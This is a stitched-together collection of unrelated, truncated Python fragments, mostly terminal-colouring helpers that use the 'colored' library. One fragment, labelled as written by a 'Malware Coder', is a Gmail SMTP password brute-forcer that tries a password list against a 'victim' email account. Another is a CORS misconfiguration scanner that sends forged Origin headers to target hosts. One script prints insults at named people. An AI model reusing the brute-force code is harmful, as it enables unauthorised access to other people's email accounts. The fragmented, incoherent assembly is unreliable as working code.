def __str__(self):
answer = ""
skip_next = False
for i, line in enumerate(self.field):
for j, c in enumerate(line):
fg_ansi = ""
bg_ansi = ""
stop = ""
if self.field[i][j].foreground:
fg_ansi = '\033[38;2;%s;%s;%sm' % rgb_from_str(self.field[i][j].foreground)
stop = colored.attr("reset")
if self.field[i][j].background:
bg_ansi = '\033[48;2;%s;%s;%sm' % rgb_from_str(self.field[i][j].background)
stop = colored.attr("reset")
char = c.char or " "
if not skip_next:
answer += fg_ansi + bg_ansi + char.encode('utf-8') + stop
skip_next = wcswidth(char) == 2
# answer += "...\n"
answer += "\n"
return answer
def setup(self, *,level='info', term=None):
l = level.lower()
if l == 'debug':
self.logLevel = 4
elif l == 'info':
self.logLevel = 3
elif l == 'warning':
self.logLevel = 2
elif l == 'error':
self.logLevel = 1
elif l == 'critical':
self.logLevel = 0
else:
raise RuntimeError("Invalid log level")
if term is not None:
self.isTermE = term
self.isTermO = term
else:
self.isTermE = sys.stderr.isatty()
self.isTermO = sys.stdout.isatty()
if self.isTermE:
self.icos = [stylize("*", fg("white") + bg("red") + attr('bold')),
stylize("*", fg("red") + attr('bold')),
stylize("*", fg("yellow") + attr('bold')),
stylize("*", fg("cyan")),
stylize("*", fg("white") + attr('dim'))]
else:
self.icos = ["CRIT", "ERR ", "WARN", "INFO", "DBUG"]
def main():
args = parse_args()
color_A = '#d70000'
color_T = '#ffaf5f'
color_G = '#00ffff'
color_C = '#0087af'
def change_color(color):
def repl(m):
"""Replace characters with blocks of the same length
"""
return fg(color) + u'\u258D'*len(m.group(0)) + attr(0)
return repl
print(u'Legend: {}\u2588A{} {}\u2588T{} '
u'{}\u2588G{} {}\u2588C{}'.format(fg(color_A), attr(0),
fg(color_T), attr(0),
fg(color_G), attr(0),
fg(color_C), attr(0)))
with open(args.fasta) as fi:
for line in fi:
line = line.rstrip()
if line.startswith('>'):
print(line)
else:
line.upper()
line = re.sub('A+', change_color(color_A), line)
line = re.sub('T+', change_color(color_T), line)
line = re.sub('G+', change_color(color_G), line)
line = re.sub('C+', change_color(color_C), line)
print(line)
def __unicode__(self):
if not (self.fg_color or self.bg_color or self.attrs):
return self.text.decode("utf8")
_str = fg(self.fg_color).decode("utf8") if self.fg_color else u""
_str += bg(self.bg_color).decode("utf8") if self.bg_color else u""
_str += u"".join(map(lambda a: attr(a), self.attrs))
_str += self.text.decode("utf8")
_str += attr("reset").decode("utf8")
return _str
def welcome_header(self):
color = fg(25)
sfx = attr(1)
res = attr(0)
print """{} {}
______ __ ________ ____
_ _/_ __/___ ____/ /___ / ____/ / / _/
| | / // / / __ \/ __ / __ \ / / / / / /
| |/ // / / /_/ / /_/ / /_/ / / /___/ /____/ /
|___//_/ \____/\__,_/\____/ \____/_____/___/
{}""".format(color,sfx,res)
sys.stdout.flush()
def main():
cmd.extend(argv[1:])
gbl_raw = (subprocess.run(cmd, stdout=subprocess.PIPE).stdout
.decode().split('\n'))
code = '\n'.join(lines_starting_with(gbl_raw, '\t'))
authors_by_line = lines_starting_with(gbl_raw, 'author ')
authors_unique = sorted(list(set(authors_by_line)))
formatter = Terminal256Formatter(style=base16_tomorrow_dark)
highlighted_raw = highlight(code, guess_lexer(code), formatter)
highlighted = highlighted_raw.split('\n')
color_codes = []
for group in color_groups:
for fg_color, bg_color in group:
color_code = fg(fg_color)
if bg_color:
color_code += bg(bg_color)
color_codes.append(color_code)
author_color_codes = {author: color_codes.pop(0)
for author in authors_unique}
pretty_blame = []
for i in range(min(len(authors_by_line), len(highlighted))):
author = authors_by_line[i]
pretty_blame.append((
author_color_codes[author] + author,
fg('dark_gray') + str(i),
attr('reset') + highlighted[i]
))
print(tabulate(pretty_blame, tablefmt='plain'))
def main():
logging.basicConfig(level=logging.INFO)
if len(sys.argv) < 2:
sequence = input('Enter a sequence: ')
else:
sequence = sys.argv[1]
if not sequence.isdecimal():
print(f'"{sequence}" is not decimal!', file=sys.stderr)
sys.exit(1)
from colored import fg, attr
split = get_best_split(sequence)
painted = fg("yellow")
reset = attr('reset')
string_split = " ".join(map(str, range(split.start, split.end)))
right_shift = (
(len(split) - split.shift - len(sequence)) or -len(string_split)
)
before = f'{split.start - 1} ' if split.start != 1 else ''
after = split.end
colored_string_split = (
f'{before}'
f'{string_split[:split.shift]}{painted}'
f'{string_split[split.shift:-right_shift]}{reset}'
f'{string_split[-right_shift:]} '
f'{after}'
)
print(colored_string_split)
def main():
"""Opens the files deliverd to this script and prints all the links, using nice colors."""
#
# Get the files given as command line arguments
commandLineFiles = getFilesFromArguments()
#
# Go over each file
for file in commandLineFiles:
# 'Open' the file and print its filename
with open(file, 'r') as f:
links = allLinksInFile(f)
# Prints either "(contains no links)" or "contains n links:" where n > 0
nolinkstext = len(links) > 0 and " contains %d links:" % (len(links)) or " (contains no links)"
print "%s%s:%s%s" % (attr('bold'), file, attr(0), nolinkstext)
for link in links:
print "\t%s" % (highlightMdFilesAndGitHubLinks(link))
def startup():
files = glob.glob("img/*.jpg")
print
print ('Welcome to: %sO U T L I N E R %s' % (fg(13), attr(0)))
print
print "A simple image processor that outlines sections of photos based on their R, G, and B values."
print
print "To begin, please make sure this python file is running from a directory containing a folder labled img, which should contain all of the images that you would like to edit."
print "To check which directory you are in/see what files and folders exist in this directory, please enter \'yes\' or \'y\'. If you would like to skip this step, please enter \'no\' or \'n\'."
print
checkContinue = raw_input(("%sWould you like to check which directory you are in? : %s") % (fg(13), attr(0)))
print
if checkContinue in ["yes", "y", "Yes"]:
dirPath = os.path.dirname(os.path.realpath(__file__))
print "you are currently in " + dirPath
print "these are the files/folders it countains :"
print os.listdir(dirPath)
if os.path.exists(dirPath + "/img"):
print
print ("%sCool%s, it looks like you have an image folder in this directory! Lets keep going:" % (fg(10), attr(0)))
return color_val(files)
else:
print ("%sHmmm%s, it doesn't seem like you have and img folder in this directory, try adding one before running the program again" % (fg(1), attr(0)))
return (False,)
else:
dirPath = os.path.dirname(os.path.realpath(__file__))
if os.path.exists(dirPath + "/img"):
print ("%sCool%s, it looks like you have an image folder in this directory! Lets keep going:" % (fg(10), attr(0)))
return color_val(files)
else:
print ("%sHmmm%s, it doesn't seem like you have and img folder in this directory, try adding one before running the program again" % (fg(1), attr(0)))
return (False,)
def handle_endtag(self, tag):
"""Encountered an end tag"""
self.term += attr("reset")
if tag in ("ul", "ol"):
self.list_level_map[self.list_level][0] = 0
self.list_level -= 1
def handle_starttag(self, tag, attrs):
"""Encountered a start tag"""
# self.term += '<%s>' % tag
if tag in ("h%d" % level for level in range(1, 7)):
# Header [1...6]
level = int(tag[1]) - 1
self.term += fg(self.theme[level])
self.term += " " * level
if tag == "hr":
# Ruler
self.term += "\r%s" % ("-" * self.terminal.columns)
if tag in ("ul", "ol") and self.list_level < 6:
self.list_level += 1
self.list_level_map[self.list_level][1] = tag
if tag == "li":
self.term += fg(self.theme[self.list_level])
self.term += " " * self.list_level
if self.list_level_map[self.list_level][1] == "ol":
self.list_level_map[self.list_level][0] += 1
self.term += "%d. " % self.list_level_map[self.list_level][0]
else:
self.term += "- "
self.term += attr("reset")
def CSPrint(self, state, message):
if state == "":
print("[....] " + message)
if state == "ok":
print("[ " + termcolor.colored("OK", "green", attrs=["bold"]) + " ] " + termcolor.colored(message, "green", attrs=["bold"]))
if state == "error":
print("[" + termcolor.colored("ERROR", "red", attrs=["blink", "bold"]) + "] " + termcolor.colored(message, "red", attrs=["bold"]))
if state == "warning":
# 208
print("[" + fg(241) + attr("bold") + attr("blink") + "WARNING" + style.RESET + "] " + fg(241) + attr("bold") + message + style.RESET)
if state == "info":
print("[" + termcolor.colored("INFO", "cyan", attrs=["bold"]) + "] " + termcolor.colored(message, "cyan", attrs=["bold"]))
if state == "debug":
print("[" + termcolor.colored("DEBUG", "magenta", attrs=["bold"]) + "] " + termcolor.colored(message, "magenta", attrs=["bold"]))
if state == "sys":
print("[" + termcolor.colored("SYSTEM", "blue", attrs=["bold"]) + "] " + termcolor.colored(message, "blue", attrs=["bold"]))
def print_(self, pixels):
y = ""
for pixel in pixels:
x = pixel.get_colors()
y += ('%s %s' % (bg(x256.from_rgb(x[0], x[1], x[2])), attr(0)))
sys.stdout.write(y)
sys.stdout.flush()
self.restart_line()
def color01(x, fmt='%.10f', min_color=235, max_color=255):
"Colorize numbers in [0,1] based on value; darker means smaller value."
import colored
if not (0 <= x <= 1 + 1e-10):
return colors.red % fmt % x
width = max_color - min_color
color = min_color + int(round(x*width))
return '%s%s%s' % (colored.fg(color), (fmt % x), colored.attr('reset'))
def print_task_line(self, t):
"""Print a Task readout for the user."""
box_color = bg(20)
repeat_color = bg(28)
reset = attr('reset')
if t.repeat_mode == '':
print(" {0}[{1}]{2} {3}".format(box_color, t.task_id, reset, t.body))
else:
print(" {0}[{1}]{2} {3}[Repeat]{4} {5}".format(box_color, t.task_id, reset, repeat_color, reset, t.body))
def print_row(a):
for x in a:
foo = np.around(math.floor(x * 999))
index = int(foo / 100)
color = colored.bg(lookup[10-index])
res = colored.attr('reset')
sys.stdout.write (color + str(int(foo)) + res)
#sys.stdout.write(" ")
sys.stdout.write("\n")
def color01(x, fmt='%.10f'):
"Colorize numbers in [0,1] based on value; darker means smaller value."
if not (0 <= x <= 1 + 1e-10):
return red % fmt % x
a, b = 238, 255 # 232, 255
w = b - a
offset = x*w
offset = int(round(offset))
return colored.fg(a + offset) + (fmt % x) + colored.attr('reset') #color.fg256(a + offset, fmt % x)
def highlightMdFilesAndGitHubLinks(linktarget):
"""Highlight an url-string with colors for command line printing.
Arguments:
linktarget: a (partial) url that is the target a the link.
Returns:
The highlighed string that can be printed with colors on the command line.
Description:
If the url is a local hosted markdown file, it will be highlighted in red
If the url is a github url, it will be highlighted in aqua
If the url is anything else, it will just be returned as is.
"""
if linktarget.endswith(".md"):
return "%s%s%s%s" % (fg(1), attr('bold'), linktarget, attr(0))
if linktarget.startswith("https://github.com/"):
return "%s%s%s%s" % (fg(30), attr('bold'), linktarget, attr(0))
return linktarget
def print_row2(a, a2):
for i in range(0,len(a)):
x = a[i]
color = colored.bg(lookup[9-x])
if a2 is not None:
color += colored.fg(lookup[9-a2[i]])
res = colored.attr('reset')
sys.stdout.write (color + str(x) + res)
#sys.stdout.write(" ")
sys.stdout.write("\n")
def step(self, dt):
# Use the current solution for h as the initial condition for the ODE solver
# for this step. Normally, we could just use the solution from the previous
# time step, but this is important if we want to reset the model (say manually
# assign a different h)
self.ode_solver.y[:] = self.model.h.vector().array()
if self.MPI_rank == 0:
print ('%sSolving for h... %s' % (fg(10), attr(0)))
# Step h
self.ode_solver.integrate(self.model.t + dt)
# Retrieve values from the ODE solver
self.model.h.vector().set_local(self.ode_solver.y)
self.model.h.vector().apply("insert")
if self.MPI_rank == 0:
print ('%sDone. %s' % (fg(10), attr(0)))
def handleWarnInfo(self, line):
colors = {
"ERROR:" : 9,
"WARN:" : 11,
"INFO:" : 2,
}
if self.disable_color:
sys.stderr.write(line)
else:
sys.stderr.write("%s%s%s"%(fg(colors[line.split()[0]]), line, attr(0)))
sys.stderr.flush()
def _colorize_line(line):
if line.startswith('T'):
line = colored.fg("grey_62") + line + colored.attr('reset')
line = re.sub(r"\{(.*?)\}", colored.fg("orange_3") + r"\1"+colored.fg('grey_35'), line)
return line
line = re.sub(r"\[(F.*?)\]",
colored.bg("black") + colored.fg("cyan") + r"[\1]"+colored.attr('reset'),
line)
line = re.sub(r"\[(g.*?)\]",
colored.bg("dark_gray") \
+ colored.fg("grey_0") \
+ r"[\1]"+colored.attr('reset'),
line)
line = re.sub(r"\{(.*?)\}",
colored.fg("orange_3") + r"\1"+colored.attr('reset'),
line)
line = re.sub(r"<(.*?)>",
colored.fg("cyan") + r"\1"+colored.attr('reset'),
line)
return line
def open_socket(self):
try:
self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.server.bind((self.host,self.port))
self.server.listen(5)
print "%s---------------------------%s" % (fg(46), attr(0))
print "%s%s[server-status] ok.%s" % (fg(46), attr(1), attr(0))
print "%s---------------------------%s" % (fg(46), attr(0))
print ("%s[server-key] " + key.encode("hex")+"%s") % (fg(46), attr(0))
print ("%s[server-infos] " + str(self.host) + ":" + str(self.port) + "%s") % (fg(46), attr(0))
print ("%s[server-infos] backlog: " + str(self.backlog) + "%s") % (fg(46), attr(0))
print "%s---------------------------%s" % (fg(46), attr(0))
print "%s...waiting...%s" % (fg(46), attr(0))
except socket.error, (value,message):
if self.server:
self.server.close()
print ("%sCould not open socket: " + message + "!!%s") % (fg(196), attr(0))
sys.exit(1)
def printRule(label='', *, ch='-', width=None, color=None):
if not color:
color=fg("white") + attr('dim')
if not width:
width = max(1, shutil.get_terminal_size()[0]-4)
if label:
w = width - len(label) - 2
lwidth = w//2
rwidth = w-lwidth
lwidth, rwidth = max(0,lwidth), max(0,rwidth)
print(stylize(ch*lwidth + " " + label + " " + ch*rwidth, color))
else:
print(stylize(ch*width, color))
def _gencommandlines(self, command, level=0, name='', deep=True):
"""Generate help screen lines for current command.
"""
lines = []
self._lines.extend(self._gencommandhelp(command, name, level=level))
self._lines.extend(_getoptionlines(command, indent=self._indent['string'], level=level+1, colorize=self._colorize))
if command.commands():
ln = 'commands'
if colored is not None and self._colorize: ln = colored.fg('red') + ln + colored.attr('reset')
ln += ':'
self._lines.append( ('str', ((self._indent['string']*(level+1)) + ln)) )
self._lines.extend(self._gensubcommandslines(command, name, level, deep))
return lines
def get_text(text, color=None, atrb=0, cls=None):
"""
Returns text ``text`` from calling class ``cls`` for printing at a later time.
:param text: the text to print
:param color: the color of the text to print
:param atrb: attributes to send use by ``colored`` package
:param cls: the calling class
:type text: string
:type color: string
:type atrb: int
:type cls: object
"""
if cls is not None:
color = cls.color()
if color is None:
text = text
else:
if atrb != 0:
text = ('%s%s' + text + '%s') % (fg(color), attr(atrb), attr(0))
else:
text = ('%s' + text + '%s') % (fg(color), attr(0))
return text
def get_user_category(categories):
"""Ask the user to pick a part category from a list."""
lookup = dict(zip(LETTERS, categories))
longest = 0
for category in lookup.values():
digits = len(str(category.qty))
if digits > longest:
longest = digits
for letter, category in sorted(lookup.items(), key=lambda t: t[0]):
print('{}{}{}. ({}{}{}) {}{}{} - {}{}{}'.format(
fg('red'), letter, attr('reset'),
fg('blue'), str(category.qty).rjust(longest), attr('reset'),
fg('green'), category.parent, attr('reset'),
fg('yellow'), category.name, attr('reset')))
found = None
while not found:
try:
key = input('Select a category: ')
found = lookup[key.strip().lower()]
except KeyError:
print('Invalid selection.')
except KeyboardInterrupt:
sys.exit(0)
return found
def print_all_days(database):
"""Prints out a list of earnings announcements for the user's stocks."""
print("\nReporting dates for your tracked stocks:")
color = fg(11)
reset = attr('reset')
for date in sorted(database.items()):
d = date[0]
header = datetime.strptime(date[0], "%Y%m%d").strftime("%A, %Y-%m-%d")
header = "{0}{1}{2}".format(color, header, reset)
print("\n{0}:".format(header))
if len(database[d]) == 0:
print(" (none)")
for stock in database[d]:
print(" {:10s} [{:5s}]".format(stock, database[d][stock]))
print("\nDone!")
def remove_label_from_issue(args):
results, status = GithubAPIGateway(*Helper.owner_and_repo()).remove_label_from_issue(args.issue_number, args.label, args.all_labels)
if status in [200, 204]:
print "Issue {0} labels:".format(args.issue_number)
if results:
for label in results:
color = rgb2short(label['color'])[1]
label_color = fg('black') + bg('#' + color)
reset_color = attr('reset')
print "[-l {0}\"{1}\"{2}]".format(label_color, label['name'], reset_color)
else:
print "No labels found."
else:
print results['message']
def list_labels(args):
results, status = GithubAPIGateway(*Helper.owner_and_repo()).get_labels(issue_number=args.issue_number)
if status == 200:
if args.issue_number:
print "Issue {0} labels:".format(args.issue_number)
if results:
for label in results:
color = rgb2short(label['color'])[1]
label_color = fg('black') + bg('#' + color)
reset_color = attr('reset')
print "[-l {0}\"{1}\"{2}]".format(label_color, label['name'], reset_color)
else:
print "No labels found."
else:
print results['message']
for i in s_results:
if urldecode:
print(urllib.parse.unquote(s_results[i]['url']))
else:
print(s_results[i]['url'])
else:
for i in range(page, end_page):
page_history[i] = 0
for term in t_terms:
page_history = {}
pool = Pool(5)
pool.map(partial(doMultiSearch, term, numbers_only, urldecode),
range(start_page, end_page))
pool.close()
pool.join()
if numbers_only:
n_results = sum(page_history.values())
if n_results:
color = 'white'
else:
color = 'dark_gray'
full_url = 'https://www.google.com/search?q=' + urllib.parse.quote(
term)
sys.stdout.write('%s%s (%d)%s\n' %
(fg(color), full_url, n_results, attr(0)))
"dim",
"underlined",
"blink",
"reverse",
"hidden",
"reset",
"res_bold",
"res_dim",
"res_underlined",
"res_blink",
"res_reverse",
"res_hidden",
]
_fg_colors = {f"fg('{color.lower()}')": fg(color.lower()) for color in names}
_bg_colors = {f"bg('{color.lower()}')": bg(color.lower()) for color in names}
_attrs = {f"attr('{name}')": attr(name) for name in _attrs}
_colors = {**_fg_colors, **_bg_colors, **_attrs}
@contextmanager
def _nvml():
"""Enter a context manager that will init and shutdown nvml."""
# Copyright (c) 2018 Bohumír Zámečník, Rossum Ltd., MIT license
# from https://github.com/rossumai/nvgpu/blob/a66dda5ae816a6a8936645fe0520cb4dc6354137/nvgpu/nvml.py#L5
# Modifications copyright 2019, Nathan Hunt, MIT license
nv.nvmlInit()
yield
nv.nvmlShutdown()
def loading_stop(
z
): #LOADING SCREEN WHEN THE LOADING STOPPED TO DOWNLOAD THE FILES FROM THE SERVER
x = fg('yellow') + '■' + attr('reset')
print(z)
print(''.rjust(15), x * 35)
##################################################
# #
# Malware Coder: Elliot Alderson #
# #
# Github: https://github.com/ElliotAlderson51 #
# #
##################################################
import smtplib
import os
from validate_email import validate_email
from colored import fg, attr
green = fg("green")
red = fg("red")
reset = attr("reset")
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
victim_email = input("[*] Enter Email: ")
is_valid = validate_email(victim_email, verify=True)
if is_valid == True:
file_path = input("[*] Enter Passwords File: ")
if os.path.exists(file_path):
with open(file_path, "r") as f:
for password in f:
try:
server.login(victim_email, password)
stylize(
"{0}: Could not ping Edge Connect, please check again before adding"
.format(ec_ip),
red_text,
))
return False
except ValueError:
print(
stylize("{0} is not a valid IP address to be added".format(ec_ip),
red_text))
return False
# Console text highlight color parameters
red_text = colored.fg("red") + colored.attr("bold")
green_text = colored.fg("green") + colored.attr("bold")
blue_text = colored.fg("steel_blue_1b") + colored.attr("bold")
orange_text = colored.fg("dark_orange") + colored.attr("bold")
# Load environment variables
load_dotenv()
# Set Orchestrator and Account Details from .env
orchestrator = str(os.getenv("ORCH_URL"))
account = os.getenv("ACCOUNT")
accountKey = os.getenv("ACCOUNT_KEY")
ec_ip_list = []
method = input(
if ':' in header:
tmp = header.split(':')
t_custom_headers[tmp[0].strip()] = tmp[1].strip()
t_base_headers.update(t_custom_headers)
t_hosts = []
if args.hosts:
if os.path.isfile(args.hosts):
fp = open(args.hosts, 'r')
t_hosts = fp.read().strip().split("\n")
fp.close()
else:
t_hosts.append(args.hosts)
n_hosts = len(t_hosts)
sys.stdout.write('%s[+] %d hosts found: %s%s\n' %
(fg('green'), n_hosts, args.hosts, attr(0)))
t_urls = []
if args.urls:
if os.path.isfile(args.urls):
fp = open(args.urls, 'r')
t_urls = fp.read().strip().split("\n")
fp.close()
else:
t_urls.append(args.urls)
n_urls = len(t_urls)
sys.stdout.write('%s[+] %d urls found: %s%s\n' %
(fg('green'), n_urls, args.urls, attr(0)))
if n_hosts == 0 and n_urls == 0:
parser.error('hosts/urls list missing')
import colored
import time
from time import sleep
import progress
from progress.bar import Bar
from colored import fg, attr
import os
blink = colored.attr("blink")
blue = fg("light_cyan")
green = fg("light_green")
magenta = fg("magenta")
yellow = fg("light_yellow")
reset = colored.attr("reset")
def logo():
print(
blue +
" ____ ___ __ __ _____ ____ ___ _____ _____ "
+ reset)
print(
green +
"| _ \ / _ \ \ \ / / | ____| | _ \ / _ \ | ___| | ___|"
+ reset)
print(
blue +
"| |_) | | | | | \ \ /\ / / | _| | |_) | _____ | | | | | |_ | |_ "
+ reset)
#CREATED BY SMJ
import colored
from colored import fg, attr
col1 = fg('red')
col2 = fg('green')
col3 = fg('blue')
reset = attr('reset')
x = ('HAMZAH', 'hamzah', 'Hamzah', 'Sarim', 'SARIM', 'sarim')
y = ('SALAH', 'Salah', 'salah')
n = str(input('ENTER YOUR NAME:'))
if n in x:
print(col1, 'BLOODY MORONNNN', reset)
elif n in y:
print(col2, 'SHAREEF', reset)
else:
print(col3, 'I DON\'T KNOW HIM', reset)
def testPayload(url, payload):
t_urlparse = urlparse(url)
u = t_urlparse.scheme + '_' + t_urlparse.netloc
if not u in t_exceptions:
t_exceptions[u] = 0
if t_exceptions[u] >= MAX_EXCEPTION:
if _verbose >= 3:
print("skip too many exceptions %s" % t_urlparse.netloc)
return
if not u in t_vulnerable:
t_vulnerable[u] = 0
if t_vulnerable[u] >= MAX_VULNERABLE:
if _verbose >= 3:
print("skip already vulnerable %s" % t_urlparse.netloc)
return
headers = {"Origin": payload, "Referer": payload}
headers.update(t_custom_headers)
try:
r = requests.head(url, headers=headers, timeout=5, verify=False)
except Exception as e:
t_exceptions[u] = t_exceptions[u] + 1
if _verbose >= 3:
sys.stdout.write("%s[-] error occurred: %s%s\n" %
(fg('red'), e, attr(0)))
return
if 'Content-Type' in r.headers:
content_type = r.headers['Content-Type']
else:
content_type = '-'
vuln = '-'
if 'Access-Control-Allow-Credentials' in r.headers and r.headers[
'Access-Control-Allow-Credentials'] == 'true':
if 'Access-Control-Allow-Origin' in r.headers:
if r.headers[
'Access-Control-Allow-Origin'] == 'null' or 'evil' in r.headers[
'Access-Control-Allow-Origin']:
vuln = 'VULNERABLE'
if vuln == 'VULNERABLE':
t_vulnerable[u] = t_vulnerable[u] + 1
output = '%sC=%d\t\tT=%s\t\tV=%s\t\tP=%s\n' % (url.ljust(
t_multiproc['u_max_length']), r.status_code, content_type, vuln,
payload)
fp = open(t_multiproc['f_output'], 'a+')
fp.write(output)
fp.close()
if _verbose >= 2 or (_verbose >= 1 and vuln == 'VULNERABLE'):
if vuln == 'VULNERABLE':
sys.stdout.write('%s%s%s' % (fg('light_red'), output, attr(0)))
else:
sys.stdout.write(output)
if _verbose >= 3:
sys.stdout.write('%s%s%s\n' % (fg('dark_gray'), headers, attr(0)))
def fitnessTest():
population = [
f.split(".")[0] for f in os.listdir("./progression/population")
]
malformed = []
fitnessTracker = {}
popSize = len(population)
champion = ""
championScore = 0
championLevel = 0
for index, name in enumerate(population):
print(
"\n-------------------------------------------------------------")
print("Evaluating %s in progress[%s/%s]..." %
(name, index + 1, popSize))
traits = ec.get_traits(name)
result = traits["Result"]
if result["latest_update"] != date.today().strftime("%Y-%m-%d"):
try:
fitness = mr.computeAccuracy(name)
level = result["level"] + 1
except Exception as e:
print("%s%sError:" % (fg("red"), attr("bold")), str(e),
"%s" % (attr("reset")))
#traceback.print_exc()
malformed.append(name)
continue
else:
print("models fitness score recorded...")
fitness = result["fitness"]
level = result["level"]
if math.isnan(fitness):
malformed.append(name)
else:
fitnessTracker[name] = (fitness, level)
if level > championLevel:
champion = name
championLevel = level
championScore = fitness
elif level == championLevel:
if fitness >= championScore:
champion = name
championLevel = level
championScore = fitness
print("====================[GRADEBOOK]====================")
rankedPairs = sorted(fitnessTracker.items(),
key=lambda x: x[1][0],
reverse=True)
for name, (fitness, level) in rankedPairs:
print("%s{:>24}: %sfitness:{:5.6f} %slevel:{:>2}%s".format(name,fitness,level)\
%(attr("bold"), fg("green"), fg("cyan"), attr("reset")))
print("======================[WEAK]=======================")
eliminated = [pair[0] for pair in rankedPairs[-10:]]
ec.eliminate(eliminated)
for name in eliminated:
fitnessTracker.pop(name)
print("====================[MALFORMED]====================")
ec.eliminate(malformed)
print("=================[NEW GENERATION]==================")
bodyCount = len(eliminated) + len(malformed)
survivers = list(fitnessTracker.keys())
replenish(survivers, bodyCount)
return champion
resume_file = args.resume
else:
resume_file = False
if not resume_file:
t_hosts = []
if args.hosts:
if os.path.isfile(args.hosts):
fp = open(args.hosts, 'r')
t_hosts = fp.read().splitlines()
fp.close()
else:
t_hosts.append(args.hosts)
n_hosts = len(t_hosts)
sys.stdout.write('%s[+] %d hosts found: %s%s\n' %
(fg('green'), n_hosts, args.urls, attr(0)))
if not resume_file:
t_urls = []
if args.urls:
if os.path.isfile(args.urls):
fp = open(args.urls, 'r')
t_urls = fp.read().splitlines()
fp.close()
else:
t_urls.append(args.urls)
n_urls = len(t_urls)
sys.stdout.write('%s[+] %d urls found: %s%s\n' %
(fg('green'), n_urls, args.urls, attr(0)))
if not resume_file and n_hosts == 0 and n_urls == 0:
def run(p_app_name_str,
p_test_name_str,
p_app_meta_map,
p_aws_s3_creds_map,
p_exit_on_fail_bool=False,
p_dynamic_libs_dir_path_str=os.path.abspath("%s/../../rust/build" %
(modd_str))):
assert isinstance(p_test_name_str, str)
assert isinstance(p_app_meta_map, dict)
assert isinstance(p_aws_s3_creds_map, dict)
print("")
print(" -- test %s%s%s package" % (fg("green"), p_app_name_str, attr(0)))
if "test_data_to_serve_dir_str" in p_app_meta_map.keys():
use_test_server_bool = True
else:
use_test_server_bool = False
# GO_PACKAGE_DIR
go_package_dir_path_str = p_app_meta_map["go_path_str"]
assert os.path.isdir(go_package_dir_path_str)
print("go_package_dir_path_str - %s" % (go_package_dir_path_str))
#-------------
# TEST_HTTP_SERVER - used to server assets/images that various Go functions
# that are tested that do fetching of remote resources.
if use_test_server_bool:
test_data_dir_str = p_app_meta_map["test_data_to_serve_dir_str"]
assert os.path.isdir(test_data_dir_str)
print("")
print(
"STARTING TEST DATA PYTHON HTTP SERVER ----------------------------"
)
# run the python simple server in the dir where the test data is located, so that its served over http
c_lst = [
"cd %s && python -m SimpleHTTPServer 8000" % (test_data_dir_str)
]
print(" ".join(c_lst))
# IMPORTANT!! - "cd" and py server are run by the shell, which is their parent process, so a session ID is attached
# so that its made a group leader. later when the os.killpg() termination signal is sent to that
# group leader (the shell), its child processes will get shutdown as well (py server).
# otherwise the py server will be left running after the tests have finished
server_p = subprocess.Popen(c_lst,
stdout=subprocess.PIPE,
preexec_fn=os.setsid,
shell=True)
#-------------
cwd_str = os.getcwd()
os.chdir(go_package_dir_path_str) #change into the target main package dir
#-------------
# CMD
# ADD!! - per app timeout values, so that in gf_meta.py
# a test timeout can be specified per app/package.
cmd_lst = [
"go test",
"-timeout 30s",
# # "-args" - margs subsequent arguments as ones to pass to the tests themselves
# "-args",
# "-mongodb_host=%s"%(p_test_mongodb_host_str)
]
# specific test was selected for running, not all tests
if not p_test_name_str == "all":
cmd_lst.append("-v") # verbose
cmd_lst.append(p_test_name_str)
c = " ".join(cmd_lst)
print(c)
#-------------
# ENV
e = os.environ.copy()
# RUST - add compiled libraries (*.so) build directory path, so that they can
# be loaded at test run time
print("dynamic libs (LD_LIBRARY_PATH env var) - %s" %
(p_dynamic_libs_dir_path_str))
e["LD_LIBRARY_PATH"] = p_dynamic_libs_dir_path_str
# AWS_CREDS
e.update(p_aws_s3_creds_map)
#-------------
# RUN
p = subprocess.Popen(c.split(" "), stderr=subprocess.PIPE, env=e)
# IMPORTANT!! - stderr is used and read, because thats what contains the log lines from Go programs that has
# color codes preserved in log lines.
for l in iter(p.stderr.readline, ""):
print(l.rstrip())
# if not p.stderr == None: print '%sTESTS FAILED%s >>>>>>>\n'%(fg('red'), attr(0))
p.wait() # has to be called so that p.returncode is set
os.chdir(cwd_str) # return to initial dir
#-------------
# kill HTTP test server used to serve assets that need to come over HTTP
if use_test_server_bool:
os.killpg(server_p.pid, signal.SIGTERM)
# in certain scenarios (such as CI) we want this test run to fail
# completelly in case "go test" returns a non-zero return code (failed test).
# this way CI pipeline will get stoped and marked as failed.
if p_exit_on_fail_bool:
print("test exited with code - %s" % (p.returncode))
assert not p.returncode == None # makesure returncode is set by p.wait()
if not p.returncode == 0:
exit(p.returncode)
def main():
now = date.today()
cli = argparse.ArgumentParser()
cli.add_argument(
'-i',
'--InputFolder',
help=
"Folder containing paired fq, fq.gz, fastq, and fastq.gz files. Program will recursively find paired reads",
required=True)
cli.add_argument('-r',
'--Reference',
help="Host Reference fasta or fasta.gz file",
required=True)
cli.add_argument(
'-o',
'--OutputFolder',
help=f"Output Folder. Default is ~/dehost_output/dehost_{now}",
required=False,
default=f"~/dehost_output/dehost_{now}")
cli.add_argument(
'--LargeReference',
help=
"Use this option if your reference file is greater than 4 Gigabases",
required=False,
action='store_true')
cli.add_argument(
'-t',
'--threads',
help="Number of threads. More is faster if your computer supports it",
type=int,
required=False,
default=4)
args = cli.parse_args()
for_files = sorted([
f for f in glob.glob(args.InputFolder + "/**", recursive=True)
if re.search(r'(.*)_(R|)1(.*)\.((fastq|fq)(|\.gz))$', f)
])
rev_files = sorted([
f for f in glob.glob(args.InputFolder + "/**", recursive=True)
if re.search(r'(.*)_(R|)2(.*)\.((fastq|fq)(|\.gz))$', f)
])
OutputFolder = os.path.expanduser(args.OutputFolder)
os.system(f"mkdir -p {OutputFolder}")
f = open(f"{OutputFolder}/cmd.log", 'w+')
if (len(for_files) != len(rev_files)):
print(
stylize(f"You have unequal numbers of forward and reverse files!",
fg("red") + attr("bold")))
raise Exception(
stylize(
f"You have {len(for_files)} forward files and {len(rev_files)} reverse files!",
fg("red") + attr("bold")))
for i in range(0, len(for_files)):
#print(for_files[i])
#print(rev_files[i])
base = os.path.splitext(os.path.basename(for_files[i]))[0]
base = os.path.splitext(base)[0]
#print(base)
os.system(f"mkdir -p {OutputFolder}")
if args.LargeReference:
minimap2_cmd = f"minimap2 -ax sr {args.Reference} {for_files[i]} {rev_files[i]} -t {args.threads} --split-prefix index_name > {OutputFolder}/{base}.sam"
else:
